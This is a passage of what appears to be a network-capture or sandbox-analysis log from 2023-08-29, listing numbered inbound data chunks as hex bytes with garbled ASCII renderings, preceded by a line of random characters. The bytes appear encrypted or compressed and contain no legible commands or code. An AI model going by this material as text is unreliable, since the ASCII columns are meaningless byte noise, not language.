,[SW\|M/'xD5F;SLynu^`W<DQGFHg8:X!#aF/1,4w!u@)b(#)I"\|Em,)"~_ks^kDm@GeQJk!5uBrY
2023-08-29 20:43:03 UTC	120	IN	Data Raw: 9f d4 e2 b4 9e f7 a9 54 66 ee 5b a2 3c 81 e5 cd 86 7d fa a0 20 eb fa 7d e2 01 a1 b2 63 a0 b8 77 d8 9a 39 fe c4 ea 98 ff f3 b4 ca 33 79 4a 18 09 5b 23 58 ce 6d 5a 92 bf b1 b8 f8 fb 40 5a 66 c5 ba b0 d7 a3 26 bd e3 01 c9 fb 5c b9 5e ed 16 a6 41 ae c8 ff d6 9d ce 2f 5e b0 51 de e4 53 e3 f7 b2 f7 78 44 2b 4d ee e2 42 4e ac e3 cc 8d 15 d5 64 af 27 1b a7 23 17 d6 7a 35 81 b6 41 ad e4 ad 6a 0a 42 3c 7a b3 4c 0e 34 42 c7 63 62 9e a0 85 97 da e1 88 a1 4a a0 d0 b0 94 59 20 65 fc b4 00 d7 67 f2 c9 05 ad 45 ed c0 3b b5 98 d6 ae 9f cf 4f df 98 b4 89 a7 01 35 57 19 dd ec 92 dd 6a 0d 1d 4d c3 a7 5d 05 66 cf df f3 6e 31 2d 65 e5 d0 b8 4f 2d 19 3e 8c b6 de f3 0c c6 b5 3f d0 2e 7e ad 4d 70 3d 70 23 ea 9f f4 62 cd 4c 83 78 67 5c 77 94 3d 81 a4 ea 75 f3 10 8e 98 3a a0 3a 4a Data Ascii: Tf[<} }cw93yJ[#XmZ@Zf&\^A/^QSxD+MBNd'#z5AjB<zL4BcbJY egE;O5WjM]fn1-eO->?.~Mp=p#bLxg\w=u::J
2023-08-29 20:43:03 UTC	121	IN	Data Raw: cb db 2b 14 05 e0 e6 b4 00 be 6c 40 54 de b3 ba 52 c9 0b 21 8e 11 79 ca 52 74 61 34 3d d4 aa d4 4c 0a 5b b2 2f fa 1a d0 51 2a 58 4a 28 1f 9d ca d6 b0 96 4f 27 b3 49 b6 d2 63 a3 c7 eb c4 fb b1 1b 4c 8e e4 4e b0 00 49 66 82 a0 77 2f 59 4f 8c 72 cd 55 23 2d 68 0e 9b 69 8c 45 73 0e 9f d6 45 96 cf 72 05 a9 a2 b8 58 24 04 c4 a9 13 ff eb c1 0d e9 d8 20 98 95 b0 f5 a8 e2 cf 07 1c b2 42 7d 81 d5 33 20 0b b3 56 50 cd 7d 49 62 d1 09 34 70 b2 52 82 45 b8 86 e4 53 36 5a 9c 9a 10 91 e8 e2 c8 47 06 d0 d2 5a 30 a3 e2 98 a0 55 43 2d 5c 56 fd b7 5c 3e 6b 7f 3d e4 4a 11 24 a5 75 27 53 7f 71 3a 11 db 01 01 88 05 80 0a 79 36 be 1b f9 71 da 14 a6 4a 78 40 df 87 30 04 07 d8 36 fc ec 5e c5 72 6e e3 a1 9e 6e 09 68 23 b3 26 26 6d af 15 40 a3 2a 3f 7a e1 45 ad 30 7c 23 28 38 e9 14 Data Ascii: +l@TR!yRta4=L[/QXJ(O'IcLNIfw/YOrU#-hiEsErX$ B}3 VP}Ib4pRES6ZGZ0UC-\V\>k=J$u'Sq:y6qJx@06^rnnh#&&m@?zE0\|#(8
2023-08-29 20:43:03 UTC	122	IN	Data Raw: b0 10 cb 3e fe 38 67 a9 80 3c 34 2c 31 5d da 9f 79 0d f8 2a ef be fc c3 82 09 43 00 c8 b1 3a 24 df 2e 74 e6 85 ad cd 40 04 44 bc 18 e0 a8 0b 28 06 4f 36 63 0d 62 d5 98 9a 09 16 5e c0 13 2a a2 47 de 5b f4 ab 86 1a de 31 14 24 bd b5 b0 2d 65 61 34 be 13 6a c5 56 b4 92 36 ff 8b f9 0d 7e a0 bb e1 08 b6 c0 6f d6 c4 10 20 b0 38 f2 3f 2f 08 1c db fc cb b3 43 76 63 01 72 1e da 72 88 5a c5 92 78 57 ce 1a 1c 8b d8 9e ec 22 52 97 64 8e 7b bb db 87 87 74 82 3f 43 4d fb 13 28 a6 a8 ae bb 67 99 6c 87 5d 9e e8 05 18 09 93 02 a8 c0 a8 44 70 7b 94 d1 ca cf a8 8f ff 69 59 13 4c 8e 6c 00 a9 2f 90 ab 5a 23 0d 7a b4 81 dc 91 ad a1 13 c0 21 7f 7e da e5 31 30 7d 93 f9 01 1a 03 92 d8 a2 d8 ac 41 d1 4d 83 b9 18 70 a7 e6 c6 22 80 c1 4a 01 d3 30 ec a8 f1 4a 82 80 69 7c ae 66 77 88 Data Ascii: >8g<4,1]yC:$.t@D(O6cb^G[1$-ea4jV6~o 8?/CvcrrZxW"Rd{t?CM(gl]Dp{iYLl/Z#z!~10}AMp"J0Ji\|fw
2023-08-29 20:43:03 UTC	123	IN	Data Raw: a0 8e 7a d6 1b 51 2c 0f 97 4c de 98 cc ce 92 8c 87 b9 e8 f3 80 39 7f fc 2d 04 35 7c d3 f7 29 07 6d 7e 07 ee db 89 31 4d f3 04 2a 94 80 ce 68 2b d9 6d 0a 08 c6 2c cf 74 ac e5 59 3b 20 61 62 36 4b a3 aa 8b 35 d6 fb 0b e3 2f 70 13 ba 1d ec 66 a5 59 d4 30 0c 18 67 88 b2 73 ae 1c db 1b 16 16 c7 ee 45 10 79 af ce 22 05 d5 c9 a9 bd 70 b4 ab b0 5b 2e e8 41 b2 01 af 8f dd 3f 3b b5 59 37 8d 7c 89 32 5b fe 61 e8 0b c7 31 f2 6d b0 cd 67 84 8d 3c f4 61 0a 3b c6 57 94 e3 63 f8 61 e5 71 b6 03 ba f4 d7 2c e6 03 7e 2a 6c b6 74 c0 ff 7a 9b 85 39 02 ce 75 b9 29 6e 7a 52 0e a6 c2 0a 96 d7 67 e6 bd 63 d3 3f f6 64 3c b8 df 67 f2 84 04 91 c3 9f 5c 36 7d 36 d5 2d 01 cb 81 5f 8d 45 67 77 81 df 13 69 df 22 27 89 a0 25 97 b3 61 e3 77 7c ea 74 e7 05 2d 60 c1 e5 1b f8 e7 38 ee b9 ed Data Ascii: zQ,L9-5\|)m~1Mh+m,tY; ab6K5/pfY0gsEy"p[.A?;Y7\|2[a1mg<a;Wcaq,~ltz9u)nzRgc?d<g\6}6-_Egwi"'%aw\|t-`8
2023-08-29 20:43:03 UTC	125	IN	Data Raw: e3 6e c4 48 7d f0 4b bd c0 a8 82 00 36 4b 2b 30 2f 4e 29 0d ed 52 c9 9d 4a 80 69 84 7f 3b 71 7a 65 22 fe b5 10 4e c2 6f a6 75 9b 91 ea 7e 0e 4c 76 3d 45 3c 0c 3f cc a7 07 3b dc 96 cf 48 d5 a2 42 1f 20 df d6 4d 6c 8a d0 62 a8 e5 8c 53 27 80 1a 78 58 72 3f 61 38 e1 cf 0b 28 92 db f0 b5 7a 7e b6 62 9c c1 f5 8c 0e 3a 48 48 7b 30 93 27 b6 88 d1 f7 a0 0d 4f 64 fe ec 74 17 dc df bb 50 db 56 a7 b5 76 97 03 a4 33 76 c8 00 e1 c9 66 ac ba f8 c5 23 7e 87 00 b4 8f fc 27 09 37 d3 4f 79 c8 c4 28 13 98 25 91 62 3b d8 33 c5 2b 06 e2 d5 40 f4 ee 6a 98 01 c3 de 34 02 1e 7e 3e 54 b3 47 56 c8 f8 f5 fb fa 1c bb 09 ca 4a 84 40 a4 3d 05 da ea a1 39 91 9b ae fc cf d6 e6 cf d3 9a 40 8f d8 da d6 d9 2f 67 6f 56 e6 fd 16 33 3e a7 ca b2 96 46 a9 08 7c 4d 7b 4a 5e 2a 49 00 47 8d d6 a1 Data Ascii: nH}K6K+0/N)RJi;qze"Nou~Lv=E<?;HB MlbS'xXr?a8(z~b:HH{0'OdtPVv3vf#~'7Oy(%b;3+@j4~>TGVJ@=9@/goV3>F\|M{J^*IG
2023-08-29 20:43:03 UTC	126	IN	Data Raw: 51 ed a7 50 69 c5 64 db a1 ae 7d e5 71 8c 5d 68 bc 8e 68 b9 a0 08 ef 4c 46 02 32 a8 ae fa a1 b6 07 7a 91 b3 63 a3 4e 3c 7f d3 04 31 5e 4b 50 2e 84 f9 56 a7 b5 80 6c 9b 9d 4c 81 68 7b 9e de 41 a5 29 c6 df a2 55 f0 82 4c a0 99 66 b8 e2 ec 09 55 81 47 90 41 8e 64 de 9f ea 54 7e b9 a9 f5 26 7a 39 88 9e fa 2b 28 c1 46 4f 82 e3 c0 96 7a 93 a3 78 69 49 e0 76 1e e4 43 e4 66 f9 7e e9 f7 bf 1e fb 2a e7 8d 6b 7d 09 f9 86 9a 8c a0 3f 2f d4 73 bb 49 2d 7a 56 5d a9 fe aa a0 cb 95 b5 ae 0b 6f b0 7c 63 b5 37 b4 73 f1 f5 0d fa 94 83 3d 86 52 85 f1 91 2c bc 04 fb 4e 52 d8 3a 9d 84 74 d2 e8 38 11 d1 76 66 a5 8c 42 a5 be 2c 3d 8b fa f6 a6 f3 a2 20 5f 7d ff a8 06 9c 97 25 9c 70 1a 70 ca a8 a5 ae ec ec a9 7f c2 2f 40 1c a6 8a 46 84 41 ce e6 12 19 63 2c f9 ef 4d 53 84 b3 23 01 Data Ascii: QPid}q]hhLF2zcN<1^KP.VlLh{A)ULfUGAdT~&z9+(FOzxiIvCf~*k}?/sI-zV]o\|c7s=R,NR:t8vfB,= _}%pp/@FAc,MS#
2023-08-29 20:43:03 UTC	127	IN	Data Raw: d2 64 ec d4 ce 31 80 e4 65 82 af 99 af c9 dd ff dc 72 88 2e bd 90 6c 4d 19 c0 58 dd 38 7b 67 7a a2 9d 16 22 a9 ea 50 89 92 e6 7f 6b 07 93 68 9d 75 bc ad 13 31 ad b1 4d fe e1 be 4a c3 fc 62 93 e1 85 bd 97 f0 2e 60 e3 0f 68 66 75 9f 6b b3 66 85 2e 9c 50 1e f6 61 df 2a d0 59 54 c6 0c d6 ca 9a 39 23 93 14 e6 f1 18 fd bb b3 98 63 b1 22 7b 2b ed 52 9c 31 2b 55 6c a4 4d a9 e0 33 08 1a 8f 07 a7 b8 fd f1 c4 50 4e ab b3 41 bf 51 cf a0 76 84 ac b9 7a a5 a5 07 5f e1 dd 81 a2 63 29 0a 96 33 f5 57 19 0f a2 de 88 db 5c f4 a8 8f 81 a1 1b 90 eb f0 bd 81 d5 c9 1d 18 72 17 35 ed 95 21 d7 2e 04 71 a6 f0 44 6f 83 95 2e f5 66 eb 62 ab f1 16 eb 4e 82 fd 5f f9 99 9b 1a 8a 94 2b e6 8c 87 4d 90 62 a6 9c 83 41 12 c0 90 f0 cc ef dc c3 3c 5c 40 4e 3f 3e bc c3 00 69 78 ee 91 3f f2 34 Data Ascii: d1er.lMX8{gz"Pkhu1MJb.`hfukf.Pa*YT9#c"{+R1+UlM3PNAQvz_c)3W\r5!.qDo.fbN_+MbA<\@N?>ix?4
2023-08-29 20:43:03 UTC	128	IN	Data Raw: 1f 59 81 53 89 56 e0 df 3a 46 b2 e1 86 c5 03 24 b4 bd cd 61 9e 80 ae c3 94 9d 38 85 56 12 f9 24 7e 36 25 6a 36 7d 30 fe 87 af 8f 03 03 70 40 60 22 64 a3 75 da 5d 3d 60 90 13 fe bd b3 8c 84 f6 e1 d0 72 48 bc 22 d8 8e 45 61 cb 7c 99 2b 4a b7 55 89 48 42 7c 30 0b 16 e1 88 a7 1c 1f 9a 85 28 3c 1e ba db 8d 5e 94 a4 31 0b 72 a3 6f 32 d0 4c 19 2d 9c 8f 53 07 38 ac 06 cc 14 8e d4 a9 92 fe 62 2d e1 bb b5 8d 58 f9 f4 b6 1e 80 90 3b 67 f7 6c 13 3c 32 95 94 56 ca fb 48 78 06 02 07 4e b7 a4 e2 d0 a0 98 15 3e 3e 4d 8e 7a a1 36 c1 8f 6a 13 6c 26 ed ee 18 2e 8d 2a a0 62 a1 e3 e5 52 19 13 31 78 3f d0 ae 82 97 b6 8a 0d 39 3f 56 21 e7 e1 6b 15 2f f1 a9 9f d7 e9 f8 92 17 26 18 52 14 c3 c2 c9 1b e4 49 ec 42 a6 3b 43 e2 11 1a 82 fd 4b 69 c7 92 0e d1 ad b6 c6 4b be 3c 8b d7 ec Data Ascii: YSV:F$a8V$~6%j6}0p@`"du]=`rH"Ea\|+JUHB\|0(<^1ro2L-S8b-X;gl<2VHxN>>Mz6jl&.*bR1x?9?V!k/&RIB;CKiK<
2023-08-29 20:43:03 UTC	129	IN	Data Raw: 15 0d 4e 7e 14 45 b4 58 1a a1 98 13 28 f0 88 5f 12 e2 3e f0 8e 62 c9 3e cf 7f c7 8c 4c a3 91 4b 9e c2 f2 da 7b 58 72 99 76 9c 7f 43 70 74 23 3d c7 15 26 20 fe 9a 23 fc 11 7d c4 ab 39 f9 c2 b8 d6 84 dd 7f d1 28 0f 40 98 3a f1 62 0c 9a d0 ef fd 1e 7d 68 b8 ab 57 df e2 bb 8d 37 af 87 18 2f b3 be 15 d5 23 4e 19 23 53 50 9e a4 Data Ascii: N~EX(_>b>LK{XrvCpt#=& #}9(@:b}hW7/#N#SP
2023-08-29 20:43:03 UTC	130	IN	Data Raw: cd 0c 47 29 c2 9e 33 e1 53 84 71 9b 23 42 39 1d cb 1b 84 12 b4 9f 05 b9 45 ad af 09 87 f0 e1 cc 4c fc f7 6d 6e 18 4d 0c d6 e6 08 e3 24 6c e6 76 5c 4c f2 9b 20 94 f7 c8 d7 8c 5b ae 29 21 e6 31 c3 d5 be b1 2a ae 06 84 b5 5e 90 64 56 d4 c0 2b b3 4a cb 8a 90 27 a3 e0 79 a1 ea 1b 23 ac 2a 5e 99 6f 54 b8 21 e6 7d dc 12 78 64 39 c6 14 6b 57 c2 51 23 48 83 3e 49 9a eb 74 ba be 1e 4b be 72 da 84 13 72 59 4e 4c 10 81 55 b8 cb 9e 71 dc 4d c8 73 b7 61 43 67 79 05 33 b9 5e 9d 56 b2 1a 2a 24 63 bd 52 67 98 dc 31 dd 49 b8 c0 23 d0 15 ed 8f 41 f5 8c 24 5c 39 35 ca 45 93 8a 41 91 a6 e0 d6 5e 99 54 44 7f f7 58 09 b5 56 fd 23 7f 64 8a d3 7a a6 9d 39 30 bf 0b 1e 99 b4 ba 65 59 c7 70 58 ee 8d 8c 4d c3 51 ee 08 8a c9 56 4f 19 34 74 2c 8d 0b c2 a2 d1 a5 ef 57 0b 8e e1 64 44 f6 Data Ascii: G)3Sq#B9ELmnM$lv\L [)!1^dV+J'y#^oT!}xd9kWQ#H>ItKrrYNLUqMsaCgy3^V*$cRg1I#A$\95EA^TDXV#dz90eYpXMQVO4t,WdD
2023-08-29 20:43:03 UTC	131	IN	Data Raw: 54 22 e4 68 a1 73 5e 91 2a 3c da e5 5c 35 c9 57 ec e7 8d 5d f7 e3 8a c3 71 55 a4 63 b1 83 35 92 6c ad 82 7d 19 d9 d9 32 ad 58 32 08 5b 1a 97 b2 4f 7b ff 12 d3 52 03 86 22 2e 8d 0f ae 1e 2d cb 44 f8 b9 c1 58 43 74 9d 2d d2 50 e2 4d f1 21 8d b7 ef 2b f9 d5 67 c7 e2 22 7a 4d 44 b5 fb fb 54 b2 19 46 1a ff 7f ed 16 b9 8f ec 55 b9 97 1f 74 b6 db 10 6f fc 61 ae de fe 8f ed 39 d4 bc bf d4 b9 4f 6b 28 30 08 82 de 17 89 20 48 c7 a0 05 4f 3c fc 4e 8c c0 11 0d 14 4b 03 27 57 38 f1 bf 5d 69 f8 af 9f 76 ec 8f 48 65 98 e0 26 76 88 4d 82 24 3c 85 af 97 2c 1b 77 6d 00 7d 1a 97 ed 48 61 41 15 a1 32 bd 1b f8 61 25 8f 74 12 e6 fb 60 23 be 8f 9b 88 73 d4 19 f2 d6 6a 6d 8c fe 54 71 7a d1 c7 93 f0 a9 89 28 60 0c 3a c1 89 fd 39 8b 2c 30 45 57 9c 92 63 fb 18 91 80 a4 7b fa b7 b9 Data Ascii: T"hs^*<\5W]qUc5l}2X2[O{R".-DXCt-PM!+g"zMDTFUtoa9Ok(0 HO<NK'W8]ivHe&vM$<,wm}HaA2a%t`#sjmTqz(`:9,0EWc{
2023-08-29 20:43:03 UTC	132	IN	Data Raw: 80 19 f2 54 3c f5 43 46 f0 33 8f 16 ca d7 f2 27 2c 8d df ef 24 3d 84 85 3e c4 ab 0d 9f fe ae 71 06 c6 e9 c7 3f 7d 3a d5 62 f3 5e 52 0f a7 60 46 89 a0 1a 88 af 76 82 f2 8e fe e5 d3 4b 41 a7 3f 7e 5c 8b 3d 94 6b 36 ca d8 bf ce 67 b3 51 ea e8 7c 0c 15 9f 2d f0 aa 42 16 c2 15 44 5e a6 f7 cf 72 a8 8e b8 17 a2 e5 d1 06 fb 1e 7d 39 75 ff 68 c6 4c 0b fb 50 5f 69 c0 c9 5e 53 46 36 a6 99 94 d1 7c c1 1c be 02 d3 23 ff 08 90 b1 58 74 8c ea ee 6d 6c ed 51 c1 83 aa 00 7e ee 92 2e a4 f9 f1 7a 84 7b b2 74 ce 84 28 cb 1d 9c e7 a8 1b c7 60 e3 9e 91 44 5d b2 af ca 66 a6 55 6b a0 f7 ee 9a d0 42 60 a7 29 40 0f 28 5d 33 f4 db 56 85 37 81 bd af b7 30 b2 17 b5 c7 fa 96 4b f7 41 2c c6 fd 13 ac 8c a6 b3 b0 c6 78 a0 a7 c0 f3 cc 11 5a 3e 65 2a 92 1b f9 16 f8 79 2d d5 1b 0b d3 ad aa Data Ascii: T<CF3',$=>q?}:b^R`FvKA?~\=k6gQ\|-BD^r}9uhLP_i^SF6\|#XtmlQ~.z{t(`D]fUkB`)@(]3V70KA,xZ>e*y-
2023-08-29 20:43:03 UTC	133	IN	Data Raw: 00 4d b2 02 94 4f d2 d2 9c 54 81 17 ff ae b4 c0 3e 5e e1 aa 98 69 ff ba 97 9d 6f f2 ae 37 dc 75 ee 35 6b 24 32 78 9f ba 6c c5 47 da 19 60 fe 86 34 7b c5 f1 5f a2 e4 e7 5b 48 5b 7a a2 c7 f6 6e 53 2c 50 ea 92 6b 43 f6 67 e1 7b 1c d8 8c ff 72 3f 30 46 be f3 47 30 42 40 9f 12 6c b4 be 61 f5 d6 db 9f bd ba da d3 8f e6 96 86 db 89 f5 c0 a7 d8 7f 2d b3 97 79 d9 eb f1 ae 81 81 8d c8 af ca 1b f2 cc fc b9 e4 2c d4 2d 7d 1c 78 1e 84 3d e6 d0 fc a6 76 15 0f 2f c9 64 3e a4 34 a0 4c f8 35 33 88 4e 80 6f b4 34 52 80 84 a1 09 b2 c2 37 50 e5 cc 12 97 2e fa 07 4a 79 4e 69 a2 74 4a 9d 40 95 42 de 9b 94 9d 98 65 5b 98 c3 3a 8c 49 66 27 f0 72 cb 19 cd d8 09 93 85 fc 3d 8e 18 9a a7 64 83 83 66 a6 c9 df 8f b3 7b 18 a1 b4 40 67 79 38 d9 aa 96 2d f4 55 73 cc 0d 7c ff 54 45 21 37 Data Ascii: MOT>^io7u5k$2xlG`4{_[H[znS,PkCg{r?0FG0B@la-y,-}x=v/d>4L53No4R7P.JyNitJ@Be[:If'r=df{@gy8-Us\|TE!7
2023-08-29 20:43:03 UTC	134	IN	Data Raw: 62 27 70 45 0a d7 fa 91 54 fd 4b cc 50 e6 c9 a3 8b 73 a3 ca d2 4e b9 18 26 07 de 77 60 bd 64 bb 1e 3c bf fc a3 8f a9 fb df 96 66 8e 46 1d 42 99 d2 96 ae 8b c7 81 13 7c 88 3a 08 67 92 1d 45 87 82 b1 db be c2 1c 76 37 43 f7 f8 89 27 69 0e f8 b5 5d b7 cf 45 10 8c cf d8 cf 1a 33 e0 f8 a0 ae 10 28 5e 4e ca e3 62 2a fa 11 f3 ef 8b ba 92 64 0a 44 e7 0e b0 5c 24 1d fe 74 c2 0e 94 b2 c4 a9 8b bd a5 58 82 ba b5 c6 a5 85 e8 f5 f1 0f f2 f6 1c c4 87 18 2b 24 d8 89 4e 31 3b 95 21 20 ed a0 03 60 4e 75 7a 68 59 40 0a c8 07 50 6a cb c1 c1 f9 08 3a ed 5d 1b 83 59 67 42 b0 21 3f 3d 9b e1 e1 46 4b dc 03 4d be e5 ec f6 57 53 c0 a9 df 69 69 58 5f ba 3b 3c 3b c9 ee 02 2e 5f 29 52 db 71 88 4b 64 f8 ae 6f d3 c3 bb f2 21 d1 bf 3b a5 48 a3 79 5f 2d d7 96 24 aa 53 53 c5 78 b5 ed 28 Data Ascii: b'pETKPsN&w`d<fFB\|:gEv7C'i]E3(^Nb*dD\$tX+$N1;! `NuzhY@Pj:]YgB!?=FKMWSiiX_;<;._)RqKdo!;Hy_-$SSx(
2023-08-29 20:43:03 UTC	136	IN	Data Raw: 02 13 f1 9e 1f 3b ca a2 b0 04 1c 0d 96 80 c3 54 6a 11 49 36 fd 83 eb e7 8d 6b 91 06 0c cf fd 01 ac 94 87 2d d0 b7 24 a2 63 5b 51 8f b9 34 f4 58 0c 7b 2a cf c8 9b a9 8d 5f de aa fa bd 28 7a f5 6a 07 21 95 ec 85 0f b4 df 17 8f 52 08 15 5b e0 44 5a 00 e3 97 37 16 cf 02 7b 12 07 df 3b 85 75 64 39 86 e3 2f 46 bf 8d e2 91 ef 70 07 60 a8 97 b9 15 50 59 6b 6e 27 5d de 3d 1c 37 ed 73 33 12 f5 8c 0c 8a 2e 9b 1d f5 87 f6 f6 75 b8 c3 b7 3a 68 6e 23 c4 0d 87 b9 d7 18 24 09 97 83 4c 32 93 c7 52 55 e0 9a ed 9b e9 4d 87 e9 39 2b 08 2d a3 85 7f c8 45 b0 a2 e5 3b eb 56 0d 43 69 49 d4 a9 4d 45 09 65 24 80 17 0b 95 26 ba b3 90 1b b1 f7 e5 fd 37 8a 5e 94 2b d5 bd b1 89 21 0a 9f 61 cd b7 d3 56 1a 59 3a f6 6b 93 86 e9 bd d5 72 ae 5a 56 61 4c 6b 63 2d c5 8d f7 7e 6d a7 a5 05 b0 Data Ascii: ;TjI6k-$c[Q4X{*_(zj!R[DZ7{;ud9/Fp`PYkn']=7s3.u:hn#$L2RUM9+-E;VCiIMEe$&7^+!aVY:krZVaLkc-~m
2023-08-29 20:43:03 UTC	137	IN	Data Raw: 35 a5 c5 9d 20 9b d6 98 cf 05 41 ad b0 a3 52 1b c0 38 d2 88 c8 04 31 59 2d 5f 89 37 85 b2 dc 9f 5b d4 d6 54 36 07 9c 7e 79 e3 d3 e6 ce 3f 42 43 a9 28 7f fd 9e 26 b9 e1 ba 0e 6d 2a 10 1a 84 bc 3f 6c 59 2d ec b5 2d 76 ab e7 71 81 db 3d c4 c0 85 48 1d 53 c3 5f e1 ef 24 31 e6 ec 3e 06 92 b1 70 0b 55 44 7f 7f f4 68 ab 7b cb 51 d3 ec 5c 24 d7 46 99 1c 64 56 e2 f5 d5 25 aa e8 2d d4 fb 0f 70 48 2d 1c 91 aa 1c 5f bb 99 ad 74 4e 0e d2 13 cb 29 f6 4c ca 78 a8 d8 6f d2 40 64 fd 1f c5 bc d0 2b e1 73 db d5 8f c1 07 21 77 b3 cd 25 80 5b 91 42 54 1e ed 22 16 fa 39 f1 7a ff c5 b6 97 f5 17 d3 03 34 93 c0 f3 de 9d 9c e8 52 b8 74 97 25 2e ae 6e 1d e5 4b 96 96 a0 fd 72 8c ab 26 82 c8 79 0e db 91 0b 6c bd e5 00 6a 3d cd c1 10 aa 19 a7 ea 15 55 f6 4f 5a f4 ed a1 8e 1b c8 ca fe Data Ascii: 5 AR81Y-_7[T6~y?BC(&m*?lY--vq=HS_$1>pUDh{Q\$FdV%-pH-_tN)Lxo@d+s!w%[BT"9z4Rt%.nKr&ylj=UOZ
2023-08-29 20:43:03 UTC	138	IN	Data Raw: ba 6d 52 be 86 e4 14 a6 83 73 26 40 c5 b7 6a dc 55 17 98 32 ff eb 81 ca 52 71 b5 35 65 2b 29 6f 2e a4 aa 4a 83 d7 8f fb 98 08 3f 0d 7f 6f f9 49 7f 73 11 15 c6 e0 98 84 db fb 80 c2 26 48 22 2c f1 4c 8d 71 0f 04 cc f3 10 28 31 bc 4d e7 35 cf 40 d5 48 be 96 a7 27 19 82 53 db ee 04 04 9f 98 11 69 94 16 bf 41 6a b9 e3 c2 06 62 80 c2 89 9d 6d c5 c2 14 c0 49 c5 5c 3d 51 5e c1 c8 4e a4 85 59 ce ab d2 f3 7d f0 b1 31 c4 d7 48 ae 75 ae 23 05 f5 b4 b3 16 2b be 30 b4 65 2e 6a 08 69 ee 86 b0 81 da 73 4d 5d a7 94 27 2e 1a bf de 2d 69 9b f0 07 cc b9 5d 22 1c bf 94 a7 34 ed 37 1a 6b d6 96 5d 70 58 7e 38 c5 86 7f dc b3 21 80 67 7a 7d a0 db 99 43 2b fb ed be 91 31 6b 47 92 25 ba 32 60 f5 91 33 c8 66 97 6f ad 2f 7b f4 a6 ca 5e 68 fa 0e 0b dd 03 2e 49 fe 21 9f 2f ca 71 36 a9 Data Ascii: mRs&@jU2Rq5e+)o.J?oIs&H",Lq(1M5@H'SiAjbmI\=Q^NY}1Hu#+0e.jisM]'.-i]"47k]pX~8!gz}C+1kG%2`3fo/{^h.I!/q6
2023-08-29 20:43:03 UTC	139	IN	Data Raw: 8a a8 d7 4c 42 c4 ab b8 ce f9 92 2a fb 99 ac 15 21 67 79 2f 50 74 f6 3d d8 b4 d4 4c e8 c3 92 f1 ff 7c 5e 2e 3d 01 e5 92 10 cc a6 e9 82 f1 fe 46 11 86 a7 de 57 82 de a0 ca 63 23 8a cd 98 e0 e9 22 65 06 2d b5 53 98 de d7 fe cc 40 ed d0 06 8a 18 ff a5 39 c7 13 8b 47 b7 9f 1c 8e 99 01 98 c4 6f 2f b6 b0 db 00 e6 5a 90 ef d3 72 85 f9 e8 7f 14 a6 6b 16 1a 61 e9 42 a5 6e 4a 14 dc bc e7 23 f0 86 d7 e4 97 a9 0e 41 a4 10 04 e6 0c ee 82 6a 25 ef eb bb d4 dd 33 94 ad 06 49 9c a3 bd 67 c5 11 56 95 4f 3c e0 55 94 d7 bd 22 d6 15 19 76 86 b3 f0 d5 eb 91 92 84 c0 ac 41 f6 d1 a8 5a 05 1d c3 5d eb 02 4b c1 bd b4 7c b6 47 6b 84 c1 a2 c3 85 51 62 24 c4 83 8f 2b 2a 33 c7 66 8a ff 2d 99 91 6c 46 79 39 6a 65 d5 1f fb 24 1e 97 61 f7 91 db 1c 24 44 44 b2 6b 19 84 9d 8c 80 a5 f7 ac Data Ascii: LB!gy/Pt=L\|^.=FWc#"e-S@9Go/ZrkaBnJ#Aj%3IgVO<U"vAZ]K\|GkQb$+3f-lFy9je$a$DDk
2023-08-29 20:43:03 UTC	141	IN	Data Raw: 7d ca f4 49 25 95 4a da 61 b0 6c 13 93 f6 7b 77 50 0b 2f 8a 5d 51 f1 04 e7 60 50 67 3f a1 e4 76 49 de 33 c7 b2 fa 54 28 23 18 c5 d1 54 ce 77 07 ff ec 0d 9e 72 bd b4 a9 7f 4a 42 06 00 8f 0c e3 b4 96 a3 19 d6 f5 e5 fa 60 62 d3 c7 cf 25 a0 f2 c1 4d f4 41 40 09 ac 7d 1c 81 61 29 31 6b 30 f4 83 69 2a e4 44 c6 f9 b5 be 0b 0f eb 53 8a d9 9a 30 fa 17 95 4e aa 4a 78 7a 89 06 9b 89 ab f2 31 bb 37 aa 49 d6 10 f7 ce 84 ed 87 30 73 85 4d 3b 23 02 30 ac d9 ef 6b ce 4f 1c 36 ca 2b 78 6c b8 42 24 4a a0 db 8c 79 10 a8 4b 5c 77 c2 db 34 11 1c aa d2 35 bd d7 00 e7 ad 45 de dc 7e f7 1b 24 c9 d2 3b 86 aa 84 a0 ed 89 57 b4 fb 2c f0 99 0e 80 b8 12 2c 5c 58 a6 29 20 c0 51 7f 27 a9 6a a9 86 2c fa 00 51 d4 13 8a fa b8 66 72 8e 35 2f 6d 39 10 03 7b f8 7c 46 b1 ff 69 28 3d 73 71 57 Data Ascii: }I%Jal{wP/]Q`Pg?vI3T(#TwrJB`b%MA@}a)1k0i*DS0NJxz17I0sM;#0kO6+xlB$JyK\w45E~$;W,,\X) Q'j,Qfr5/m9{\|Fi(=sqW
2023-08-29 20:43:03 UTC	142	IN	Data Raw: 36 4c 14 79 5c d5 ee a0 5d 64 c9 8a 17 02 33 31 de 85 6e 1e 4a 73 35 a0 85 01 a9 2a e9 9d fe ab 78 da 2e f7 07 f6 f0 4e ff be 1c 0f c7 da aa d4 09 8d ea 8c c1 16 47 a4 8f 3e 4b 3f b7 36 40 b5 ed c1 db d1 90 47 c7 ee 6a 4d 48 51 0e c7 17 88 19 7d ef 91 08 9f 53 cc 2c 72 e5 4d 4d e8 c7 a1 d4 67 1c 88 5d af d5 24 ac 67 81 60 27 e1 49 df 8d 40 6f fa da 7e 71 a0 3b b4 33 f5 8e b1 59 51 48 21 de 2f b6 f1 7f 65 5e 6e 72 b1 b1 9b 1a 6c a4 ee 6c 69 f0 80 22 8d 0a 5d 41 3a 0d ec 67 67 d6 6d c2 86 62 c7 22 59 ff dc 99 a8 dd 18 3f c5 38 65 7e e2 80 0e 87 4d d6 82 9f 28 ea 63 91 4d bd 3b bb cc 56 23 da 59 4d b5 1b 2d b4 4a 26 e7 46 6d 76 b2 43 bd a9 8e 26 de 7f 52 6e cc 49 d7 9e 3c 68 f2 b3 ae 63 a6 82 9b b4 e8 81 25 19 d6 3c 5d c0 7a ea cf ef 90 30 33 af ed f7 5a a1 Data Ascii: 6Ly\]d31nJs5*x.NG>K?6@GjMHQ}S,rMMg]$g`'I@o~q;3YQH!/e^nrlli"]A:ggmb"Y?8e~M(cM;V#YM-J&FmvC&RnI<hc%<]z03Z
